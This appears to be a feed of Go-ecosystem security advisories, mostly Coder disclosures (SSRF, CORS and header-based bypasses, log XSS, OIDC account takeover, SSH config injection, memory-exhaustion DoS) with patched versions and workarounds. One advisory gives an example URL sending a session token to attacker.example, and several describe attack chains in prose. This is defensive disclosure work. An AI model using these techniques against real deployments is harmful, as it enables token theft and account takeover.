Threats tagged 'go'

The buildah package provides a tool for facilitating building OCI container images. Among other things, buildah enables you to: Create a working container, either from scratch or using an image as a starting point; Create an image, either from a working container or using the instructions in a Dockerfile; Build both Docker and OCI images. Security Fix(es): * golang.org/x/crypto/ssh: golang: golang.org/x/crypto/ssh: Denial of Service via crafted SSH certificate (CVE-2026-39835) * golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted public key with excessive parameters (CVE-2026-39829) * golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via resource leak from unsolicited SSH responses (CVE-2026-39830) * golang.org/x/crypto/ssh/agent: golang.org/x/crypto/ssh/agent: Security bypass due to improper handling of key restrictions (CVE-2026-39832) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Dragonfly scheduler versions prior to 2.4.4-rc.3 contain an unauthenticated SSRF vulnerability in the gRPC interface. The vulnerability allows an attacker to supply arbitrary PeerHost IP and port values, which are used to construct HTTP GET requests without proper destination validation. This enables remote attackers to probe internal network services and retrieve up to 128 bytes of data from those services. The vulnerability is limited to read-only SSRF and does not allow remote code execution. The issue is fixed in version 2.4.4-rc.3.

### Summary `agentConn.apiClient()` used the default redirect behavior of `http.Client` while its custom transport dialed the host from the request URL as long as the port was the workspace agent HTTP API port (`4`). Agent tailnet IPs are deterministic from agent UUIDs, so a malicious workspace agent could return a redirect to another agent's tailnet IP and cause the control-plane client to send the follow-up workspace agent API request to the victim agent instead of the intended agent. Redirects that preserve the method and body, such as HTTP 307 and 308, allow replay of write and process-start requests. HTTP 301, 302 and 303 redirects only convert POST requests to GET requests, so they are sufficient to demonstrate redirected reads but not write or command-execution primitives. ### Impact An authenticated user with a running workspace and control of a modified workspace agent can redirect workspace agent API requests made to their agent toward another online workspace agent reachable on the tailnet. If the attacker knows the victim agent UUID, they can derive the victim's tailnet IP and target the victim's file APIs to read or write files as the victim workspace user. In affected versions that expose the workspace agent process API, the same primitive can be chained to command execution as the victim workspace user by writing a payload through the redirected file API and then redirecting a process-start request to execute it. This crosses workspace and tenant boundaries. ### Patches The fix disables automatic redirect following for workspace agent API clients and pins all workspace agent API dials to the intended agent's deterministic tailnet address. Requests whose URL host does not match the intended agent are rejected instead of being dialed. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.4](https://github.com/coder/coder/releases/tag/v2.34.4) | | 2.33 | [v2.33.10](https://github.com/coder/coder/releases/tag/v2.33.10) | | 2.32 | [v2.32.9](https://github.com/coder/coder/releases/tag/v2.32.9) | | 2.29 (ESR) | [v2.29.19](https://github.com/coder/coder/releases/tag/v2.29.19) | ### Workarounds None. Upgrading is required. ### Resources - Fix: #26600

### Summary Coder's subdomain-based workspace app proxy allowed the same-owner CORS check to be bypassed. When a workspace-name subdomain segment parsed as a UUID, the workspace was resolved by ID without confirming the URL's username matched the real owner, while the CORS middleware trusted the unverified username in the hostname. > **Note:** Practical exploitation requires subdomain app routing (wildcard hostname) enabled and a victim who visits the attacker's crafted app URL while authenticated. ### Impact An authenticated user could craft a subdomain encoding their own workspace UUID and a victim's username. If the victim visited the attacker's URL, the attacker's JavaScript could issue credentialed cross-origin `fetch()` requests to the victim's workspace apps and read the responses, exfiltrating data accessible through those apps. ### Patches The fix validates the subdomain username against the resolved workspace's actual owner and bases the same-owner CORS decision on the authoritative owner identity. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds None. ### Resources - Fix: #26086, #26085 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22434) for independently disclosing this issue!

### Summary The `AgentLogLine` dashboard component instantiated `ansi-to-html` without `escapeXML: true` and inserted the result via `dangerouslySetInnerHTML` so HTML embedded in workspace agent log lines was rendered as live markup. Server-side sanitization did not neutralize HTML metacharacters. > **Note:** Exploitation requires a victim to view attacker-controlled agent logs in the dashboard. ### Impact A user who could run a workspace could emit arbitrary HTML into agent logs; when another user, including an administrator, viewed the workspace page, it rendered in their session. Content Security Policy blocked inline scripts but an attacker could still inject a `meta refresh` redirect, `style` rules for UI redressing or CSS-based exfiltration or external `img` beacons. This required workspace-owner access and a victim viewing the page. ### Patches The fix enables `escapeXML: true` so HTML metacharacters are escaped before DOM insertion. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds None. ### Resources - Fix: #25808 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22449) for independently disclosing this issue!

### Summary The AI Bridge Proxy (`aibridgeproxyd`) created a goproxy server whose default transport set `InsecureSkipVerify: true` and only assigned a secure transport when an upstream proxy was configured. In the default configuration (no upstream proxy), outbound HTTPS to the Coder access URL accepted any TLS certificate. > **Note:** Practical exploitation requires an on-path (man-in-the-middle) position between the AI Bridge Proxy and the Coder server. Deployments where they are co-located over loopback are effectively unaffected. ### Impact An attacker positioned between the proxy and the Coder server, via ARP spoofing, DNS poisoning or control of proxy environment variables, could intercept injected Coder session tokens, user-supplied provider API keys (BYOK) and full request and response bodies including prompts and completions. The default transport also honored `HTTP_PROXY` and `HTTPS_PROXY`, allowing environment-based traffic redirection. ### Patches The fix applies the secure transport (TLS 1.2 or higher using system root CAs) unconditionally. The AI Bridge Proxy was introduced in v2.30.0. Earlier release lines including the v2.29 ESR line are not affected. The fix is available in the following releases: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | ### Workarounds Ensure the Coder access URL uses a trusted certificate and secure the network path between the AI Bridge Proxy and the Coder server (for example, loopback or mTLS). ### Resources - Fix: #26131 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22455) for independently disclosing this issue!

### Summary AI Bridge proxy endpoints authenticate via `Server.IsAuthorized` in `coderd/aibridgedserver`, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working. > **Note:** Practical impact is limited to already-issued API keys of suspended users until those keys are deleted. ### Impact A suspended user with a previously issued long-lived token could continue calling AI Bridge LLM proxy endpoints, consuming paid provider resources billed to the deployment and, if injected MCP tools are enabled, invoking those tools. Access persists until the token expires, which may be months after suspension. ### Patches The fix makes AI Bridge authorization reject non-active users like the standard API key middleware. AI Bridge was introduced in v2.30.0. The v2.29 ESR line is not affected. The fix is available in the following releases: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | ### Workarounds On suspension, delete the user's API keys via `DELETE /api/v2/users/{user}/keys`. ### Resources - Fix: #26173 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22446) for independently disclosing this issue!

### Summary AI Bridge provider handlers read request bodies with `io.ReadAll` without a maximum size so an authenticated user with AI Bridge access could send an arbitrarily large body and exhaust memory. > **Note:** Exploitation requires authenticated access to the AI Bridge endpoints and the impact is limited to availability (denial of service). ### Impact An authenticated member-level user could POST a very large or chunked body to an AI Bridge provider endpoint such as `/api/v2/aibridge/anthropic/v1/messages`, growing heap memory until the operating system terminates the process. Because AI Bridge runs in-process with `coderd`, this crashes the entire control plane, including the API, workspace coordinator and DERP relay. It requires an authenticated user and the AI Bridge feature enabled. ### Patches The fix applies `http.MaxBytesReader` or an equivalent cap before reading provider and session request bodies. The affected AI Bridge provider endpoints exist only on the v2.33 and v2.34 lines. Earlier release lines are not affected. The fix is available in the following releases: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | ### Workarounds None. ### Resources - Fix: #26164 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22443) for independently disclosing this issue!

### Summary The devcontainer recreate endpoint relied on route middleware that checked only `ActionRead` on the workspace and, unlike the sibling delete endpoint, performed no `ActionUpdate` check before triggering the destructive rebuild. > **Note:** Exploitation requires an existing low-privilege role with access to the target workspace. ### Impact Any authenticated principal with read-only workspace access, such as a Template Admin or Org Template Admin, could recreate a devcontainer, destroying uncommitted in-container state and, if called repeatedly, denying service. This is an authorization bypass leading to data loss and denial of service. ### Patches The fix adds an explicit `ActionUpdate` authorization check before the agent is dialed like the delete endpoint. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds None. ### Resources - Fix: #25812 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22454) for independently disclosing this issue!

### Summary The `CreateSubAgent` RPC did not validate a requested app sharing level against the template's `MaxPortSharingLevel` before persisting workspace apps, letting a workspace owner exceed the administrator's configured maximum. > **Note:** Exploitation requires the ability to register sub-agent apps in a workspace the attacker controls. ### Impact A workspace owner with an agent token could register a sub-agent app as `PUBLIC` even when the template's `MaxPortSharingLevel` was `owner`, exposing the app to unauthenticated users via the wildcard app domain. This affected only deployments using Enterprise port-sharing policy and wildcard app hostnames and required an authenticated workspace owner with an agent token. ### Patches The fix clamps the sub-agent app sharing level to the template's `MaxPortSharingLevel`. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Disable wildcard app hostnames (`CODER_WILDCARD_ACCESS_URL`) to block subdomain-based app routing. ### Resources - Fix: #26061 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22452) for independently disclosing this issue!

### Summary `coder open app` opens external workspace-app URLs without validating the scheme or host. When an external app URL contains the `$SESSION_TOKEN` placeholder the CLI replaces it with the user's real session token before handing the URL to the OS open handler. > **Note:** Practical exploitation requires the victim to run `coder open app` against a workspace whose external app definition the attacker controls. Only a malicious template author can control external app URLs. ### Impact Workspace code can register external apps with arbitrary URLs so an attacker who controls workspace contents can define a URL like `https://attacker.example/?t=$SESSION_TOKEN`. Running `coder open app` then sends the user's session token to the attacker and enables full account impersonation for the token's lifetime. The same path can invoke arbitrary local URI scheme handlers. Exploitation requires the user to run `coder open app` against a workspace that contains a malicious external app. ### Patches The fix applies a URL-scheme allowlist in the CLI and limits `$SESSION_TOKEN` substitution to trusted destinations like the web frontend. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Avoid running `coder open app` for untrusted workspaces. ### Resources - Fix: #26146 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22457) for independently disclosing this issue!

### Summary `POST /api/v2/files` converts zip uploads to tar in memory via `CreateTarFromZip`, which enforced a per-entry size limit but no aggregate limit on total decompressed output, writing to an unbounded in-memory buffer. > **Note:** Exploitation requires authenticated file-upload access and the impact is limited to availability (denial of service). ### Impact An authenticated user could upload a zip within the 100 MiB upload limit but containing many highly compressible entries whose decompressed size exhausted memory, crashing `coderd` before any RBAC check. Repeated requests could keep the service unavailable. This is a denial of service; it does not allow data disclosure or code execution. ### Patches The fix adds a metadata preflight check that sums projected entry sizes and a streaming writer that enforces the aggregate limit during decompression. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Restrict file-upload permissions to trusted users or place a reverse proxy with request-body size limits in front of `coderd`. ### Resources - Fix: #25877 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22438) for independently disclosing this issue!

### Summary The workspace app proxy resolves the target app from `httpapi.RequestHost()` which prefers the `X-Forwarded-Host` header over the real `Host` header. No middleware strips `X-Forwarded-Host` before routing and the header is not browser-forbidden so client-side JavaScript can set it on `fetch()` calls. > **Note:** Practical exploitation requires subdomain app routing (wildcard hostname) enabled, a victim who visits the attacker's shared app and a deployment whose upstream proxy does not strip `X-Forwarded-Host`. ### Impact App session cookies are scoped to the wildcard parent domain so the browser attaches them to any app subdomain. An attacker who controls a shared workspace app can serve JavaScript that sends same-site requests with a forged `X-Forwarded-Host` pointing at a victim's private app. The server routes by the attacker-controlled header but authorizes with the victim's cookie which lets the attacker read the victim's private app responses. Subdomain app routing must be enabled and no upstream proxy may strip `X-Forwarded-Host`. ### Patches The fix trusts `X-Forwarded-Host` only from configured trusted proxies and otherwise resolves the routing host from the verified request host. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Place an upstream reverse proxy that strips or overwrites `X-Forwarded-Host` on untrusted requests. ### Resources - Fix: #26204 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22435) for independently disclosing this issue!

### Summary The tailnet coordinator validates that an agent's `Addresses` derive from its authenticated UUID but applies no equivalent check to `AllowedIPs`. The coordinator forwards agent-supplied `AllowedIPs` verbatim to tunnel peers which install them into the WireGuard peer configuration. ### Impact A malicious workspace agent can advertise arbitrary `AllowedIPs` prefixes including another agent's tailnet address. Coder's `ServerTailnet` routes to agents by tailnet IP so an agent that claims a victim's prefix can intercept web terminal and workspace app traffic and serve spoofed content. Exploitation requires an authenticated user with a running workspace and a modified agent binary. ### Patches The fix validates each `AllowedIPs` prefix against the authenticating agent's UUID just like `Addresses`. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Operators who cannot upgrade immediately should monitor coordinator logs for agents advertising unexpected `AllowedIPs` prefixes. ### Resources - Fix: #26144 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22451) for independently disclosing this issue!

### Summary `UpsertWorkspaceApp` overwrites an existing app's `agent_id` on a primary-key conflict and `insertAgentApp` accepts the app ID from the provisioner's `CompleteJob` payload without verifying it belongs to the workspace being built. `CompleteJob` runs under `dbauthz.AsProvisionerd` so the authorization layer does not block the cross-workspace upsert. > **Note:** Exploitation requires elevated access as a template author or external provisioner operator. ### Impact A user with template authorship or external provisioner access can submit a `CompleteJob` payload with a known victim app UUID and an attacker-controlled agent ID. On completion of the attacker's build the victim's app row is rebound to the attacker's agent so later app traffic such as IDE and terminal sessions is proxied to the attacker's workspace. App UUIDs are discoverable through the public API. ### Patches The fix verifies that any existing `workspace_apps` row matching the supplied ID belongs to the workspace being built and rejects cross-workspace agent reassignment. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds None. Upgrading is required. ### Resources - Fix: #26103 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22441) for independently disclosing this issue!

### Summary `NewDataBuilder` in `provisionersdk/proto/dataupload.go` allocated a byte slice using the client-supplied `FileSize` from a `DataUpload` message without an upper-bound check. Although the DRPC wire limit is 4 MiB, the `FileSize` value itself was unconstrained ### Impact An authenticated user able to reach the provisioner daemon serve endpoint could send a roughly 50-byte message declaring a huge `FileSize` (for example 1 TiB), triggering an unrecoverable Go out-of-memory abort that terminates `coderd`. This is a single-message denial of service affecting the entire deployment. ### Patches The fix validates `FileSize` against an upper bound (`MaxFileSize = 100 MiB`) before allocation. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Restrict access to the provisioner daemon serve endpoint to trusted provisioner daemon service accounts. ### Resources - Fix: #25710 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22442) for independently disclosing this issue!

### Summary `coder config-ssh` wrote server-supplied SSH settings (`HostnameSuffix`, `SSHConfigOptions`) into the user's `~/.ssh/config` without sanitizing embedded newlines or restricting directives so a malicious or compromised Coder server could inject arbitrary SSH configuration. > **Note:** Practical exploitation requires control of the server-supplied values through a malicious or compromised deployment, a man-in-the-middle position or admin access to the `HostnameSuffix` and `SSHConfigOptions` settings. ### Impact A server administrator or an attacker who controlled the server, could inject a directive such as `ProxyCommand` and achieve arbitrary code execution on any developer workstation that ran `coder config-ssh`. Injected commands ran with the local user's privileges and applied to all SSH connections, not just Coder workspaces. ### Patches The fix validates `HostnameSuffix` and `SSHConfigOptions` against a strict character set that rejects newlines and other control characters. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Inspect `coder config-ssh --dry-run` output before applying changes. ### Resources - Fix: #26154 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22437) for independently disclosing this issue!

### Summary The `PUT /api/v2/users/{user}/password` endpoint authorized only `ActionUpdatePersonal` and did not prevent a `user-admin` from resetting an `owner` account's password. It also did not require the current password when an admin reset another user's password. > **Note:** Exploitation requires the privileged `user-admin` role so practical risk is limited to deployments that grant `user-admin` to less trusted operators. ### Impact A `user-admin` could reset any owner's password without knowing it, authenticate as that owner and gain full deployment control, including templates, workspaces, licensing, organization settings and the ability to self-assign the `owner` role. This was a privilege escalation from `user-admin` to `owner`. ### Patches The fix prevents non-owner users from resetting the password of an account that holds the `owner` role. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Restrict the `user-admin` role to trusted administrators until upgrading. ### Resources - Fix: #25709 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22436) for independently disclosing this issue!

### Summary Two flaws in Coder's OIDC login chained into account takeover: email-based user matching fell back to linking by email without checking for an existing link to a different IdP subject and the `email_verified` claim was only enforced when present as a boolean `false` so an absent or non-boolean claim was treated as verified. ### Impact An attacker who could authenticate at the configured OIDC provider with an email matching a victim's Coder account could log in as that victim and gain full access to their workspaces, templates and resources. This required OIDC authentication, attacker control of a matching email at the IdP and a victim account not yet linked to a different IdP subject. ### Patches The fix restricts the email fallback to first-time and legacy linking and defaults `email_verified` to false when the claim is absent or of an unexpected type. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Configure the OIDC provider to disallow self-registration or to require email verification before issuing tokens. ### Resources - Fix: #25712, #25713 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22450) for independently disclosing this issue!

### Summary Coder's OIDC callback checked `email_verified` with a direct Go `bool` type assertion. When an IdP returned the claim as a non-boolean (for example the string `"false"`) or omitted it, the assertion failed open and the email was treated as verified. Combined with an unconditional email-based account fallback, this enabled account takeover. ### Impact An attacker who registered a victim's email at a compatible IdP without verifying it could log in via OIDC and be matched to the victim's existing Coder account, receiving a session for that account. No prior authentication to Coder was required and the result was full account takeover. ### Patches The fix coerces `email_verified` across bool, string and numeric types (fail-closed) and blocks the email fallback when the matched user already has a different linked IdP subject. The fix was backported to all supported release lines: | Release line | Patched version | |---|---| | 2.34 | [v2.34.2](https://github.com/coder/coder/releases/tag/v2.34.2) | | 2.33 | [v2.33.8](https://github.com/coder/coder/releases/tag/v2.33.8) | | 2.32 | [v2.32.7](https://github.com/coder/coder/releases/tag/v2.32.7) | | 2.29 (ESR) | [v2.29.17](https://github.com/coder/coder/releases/tag/v2.29.17) | ### Workarounds Ensure the IdP returns `email_verified` as a native JSON boolean. The email-fallback linking issue has no configuration workaround; upgrading is required. ### Resources - Fix: #25712, #25713 ### Credits Coder would like to thank Anthropic's Security Team (ANT-2026-22444) for independently disclosing this issue!